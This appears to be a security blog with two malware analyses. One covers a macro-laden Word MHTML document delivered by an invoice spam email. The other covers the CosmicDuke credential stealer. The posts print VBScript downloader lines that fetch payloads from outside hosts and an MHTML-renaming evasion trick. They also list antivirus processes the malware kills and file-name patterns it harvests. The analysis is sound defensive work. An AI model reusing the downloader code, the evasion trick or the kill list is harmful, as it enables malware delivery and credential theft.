New malicious Office docs trick

It all starts with the 1,000,000th usual spam mail in your inbox:

Have you received an order form? No.

The content is as follows:

Dear,

We have received your order form [AY19358KXN]  and we thank you very much. Our sales department informs us that they are able to dispatch your stock by the end of next week following your packing instructions.

As agreed, we have arranged transport. We are sending herewith a copy of our pro-forma invoice.

The consignment will be sent as soon as the bank informs us that the sum is available. We hope you will be satisfied with the fulfilment of this order and that it will be the beginning of a business relationship to our mutual benefit.

Attached is a DOC file with (surprise) a macro attached. However, the method's different than usual:

@bartblaze this is actually even simpler: open a Word doc with macros, save as MHTML from Word, rename .mht to .doc

— Decalage (@decalage2) May 7, 2015

In the past, there have been some other new tricks as well, for example:
Analyzing an MS Word document not detected by AV software
XML: A New Vector For An Old Trick
Malware authors go a step further to access bank accounts

In regards to any Office files, you can simply open the file in Notepad++ for example and you'll see the .mso appended at the end. The new thing here is that it's a Word MHTML file with macro(s).

Using olevba (by @decalage2), we can extract and automatically decode the .mso object - which contains a bunch of (what appears to be) random gibberish:

Function that "Returns the character associated with the specified character code"

You can use the ASCII character code chart to figure out what this malware is doing exactly, for example the first line Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) is simply "HTTP".

Another option is to use a Python program made by Xavier Mertens, deobfuscate_chr.py.
You can find a Pastebin here with the extracted + deobfuscated macro.

Short analysis of this .doc file using olevba

Other tools are available as well, for example oledump and emldump from Didier Stevens.

Emldump + passing through oledump extracted a malicious link

 
Now, what happens when you execute this malicious Word file?

Oops, seems macros are disabled :)

If macros are enabled, or you choose to enable the macro in that document, a Pastebin download link was opened and the file was executed. Process flow is:

Word document -> download VBS from Pastebin -> Execute VBS -> Downloads & executes EXE file -> Downloads & executes another EXE file.

Visually, you might get either of these images:

dim JHyygUBjdfg: Set JHyygUBjdfg = createobject(Microsoft.XMLHTTP )
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream )
JHyygUBjdfg.Open GET , http://savepic.org/7260406.jpg

dim sdfsdfsdf: Set sdfsdfsdf = createobject(Microsoft.XMLHTTP )
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream )
sdfsdfsdf.Open GET , http://savepic.net/6856149.jpg

Dropper, payload, related files:

AY19358KXN.doc (original file)
SHA1: b2c793b1cf2cf11954492fd52e22a3b8a96dac15
VirusTotal

Extracted macro (I named it AY.vb)
SHA1: 79b0d7a7fe917583bc4f73ce1dbffc5497b6974d
VirusTotal

JGuigbjbff3f.vbs (dropped VBscript file)
SHA1: c8a914fdc18d43aabbf84732b97676bd17dc0f54
VirusTotal
Deobfuscated VBscript

o8237423.exe (dropper)
SHA1: 7edc7afb424e6f8fc5fb5bae3681195800ca8330
VirusTotal

DInput8.dll (payload)
SHA1: 8bfe59646bdf6591fa8213b30720553d78357a99
VirusTotal

Prevention

• Don't open emails (and certainly no attachments) from an unknown source. 
• Install an antivirus and antimalware product and keep it up-to-date & running.
• Improve security for your Microsoft Office package. (Word, Excel, ...)
  This means disabling ActiveX, disabling macros and blocking external content. Useful links:
  Enable or disable ActiveX controls in Office documents
  Enable or disable macros in Office documents
  Block or unblock external content in Office documents

Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only allow the ones that are digitally signed if there's really no other choice) by using GPO.

You can find those templates here:

2007 Office system (SP2) Administrative Template files (ADM, ADMX, ADML) and Office Customization Tool 

Office 2010 Administrative Template files (ADM, ADMX/ADML) and Office Customization Tool download 

Office 2013 Administrative Template files (ADMX/ADML) and Office Customization Tool

Note: starting from Office 2010, macros are disabled by default.

Resources

ASCII Character Codes

Base64Decoder

Chr, ChrW Functions

Macros Explained: Why Microsoft Office Files Can Be Dangerous

OLE (Object Linking and Embedding)

oledump

oletools

A word on CosmicDuke

On Thursday F-Secure released a blog post on CosmicDuke. But what is CosmicDuke exactly?

CosmicDuke - the first malware seen to include code from both the notorious MiniDuke APT Trojan and another longstanding threat, the information-stealing Cosmu family. When active on an infected machine, CosmicDuke will search for and harvest login details from a range of programs and forward the data to remote servers.

Source: COSMICDUKE: Cosmu with a twist of MiniDuke (PDF)

In other words, it will (attempt to) steal your login credentials from browsers and any other programs you may or may not use. I was interested to take a look, queue how Twitter comes in handy:

@bartblaze @TimoHirvonen Hashes here: 82448eb23ea9eb3939b6f24df46789bf7f2d43e3 c86b13378ba2a41684e1f93b4c20e05fc5d3d5a3
— Mikko Hypponen (@mikko) September 19, 2014

In this post we'll be focusing on sample 82448eb23ea9eb3939b6f24df46789bf7f2d43e3 - which supposedly handles about the EU sanctions against Russia.


When opening the document:

(Source)

When you open the document with macros disabled:

Seems they got prepared in case anyone disabled macros. Think this is a legit Word document?
Nope.

When you open the document, there's actually a child process spawned (tmp4D.tmp) which also loads a file called input.dll:

Don't be fooled by the company name or description,
this isn't IIS Express Worker Process nor has it anything to do with Microsoft.

We'll soon see what all this does. First, I'd like to provide some background information. The file's a .docx file, which means it is a combination of XML architecture and ZIP compression for size reduction and was implemented when Office 2007 was introduced. Why is that relevant?

Because you can unzip (with 7-zip for example) any Office file with the new extension:
(.docx, .xlsx, .pptx, ...)

Unzipped content of a .docx file

Thus, you can have a peek inside the document without actually opening it. If we look inside the "word" folder from our document, we can see the following (note the highlighted entries):

Unzipped content of  our .docx file

As you can see, there are 3 extra files there, 2 DLL files and a BIN file. Those files are embedded into the Word document. The BIN file loads an OLE , which then loads either the input.dll or input64.dll file, depending on your Operating System architecture. (in other words, the Office macro loads a malicious binary file.)

If you're interested in what the OLE artifact contained, here's a Pastebin link:

CosmicDuke VBA macro

Afterwards, the malware tries to kill the following processes:

cmd.exe
savadminservice.exe
scfservice.exe
savservice.exe
ekrn.exe
msseces.exe
MsMpEng.exe
dwengine.exe
ekern.exe
nod32.exe
nod32krn.exe
AvastUi.exe
AvastSvc.exe
kav.exe
navapsvc.exe
mcods.exe
mcvsescn.exe
outpost.exe
acs.exe
avp.exe

It will then try to gather as much data as possible, from cookies to files containing *psw*;*pass*;*login*;*admin*;*sifr*;*sifer* or *vpn. Soon after your data will be uploaded to an FTP server... Which wasn't too hard to find.

Anyways, here's some additional information on the Word file by automated tools:

MalwareTracker Result

VirusTotal Result

Prevention

• Don't open emails (and certainly no attachments) from an unknown source. 
• Install an antivirus and antimalware product and keep it up-to-date & running.
• Improve security for your Microsoft Office package. (Word, Excel, ...)
  This means disabling ActiveX, disabling macros and blocking external content. Useful links:
  Enable or disable ActiveX controls in Office documents
  Enable or disable macros in Office documents
  Block or unblock external content in Office documents

Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only allow the ones that are digitally signed if there's no other option) by using GPO.

You can find those templates here:

2007 Office system (SP2) Administrative Template files (ADM, ADMX, ADML) and Office Customization Tool

Office 2010 Administrative Template files (ADM, ADMX/ADML) and Office Customization Tool download

Office 2013 Administrative Template files (ADMX/ADML) and Office Customization Tool

Resources

Analyzing Malicious Documents Cheat Sheet

COSMICDUKE: Cosmu with a twist of MiniDuke (PDF)

Where is the documentation for Office's docx/xlsx/pptx formats? Part 1: Office 2007

Where is the documentation for Office's docx/xlsx/pptx formats? Part 2: Office 2010